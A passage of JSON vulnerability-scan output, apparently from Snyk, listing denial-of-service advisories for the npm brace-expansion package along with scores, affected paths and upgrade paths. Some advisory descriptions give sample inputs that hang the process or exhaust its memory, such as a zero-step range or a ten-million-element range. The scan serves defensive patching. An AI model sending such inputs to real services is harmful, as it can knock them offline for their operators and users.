"type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", 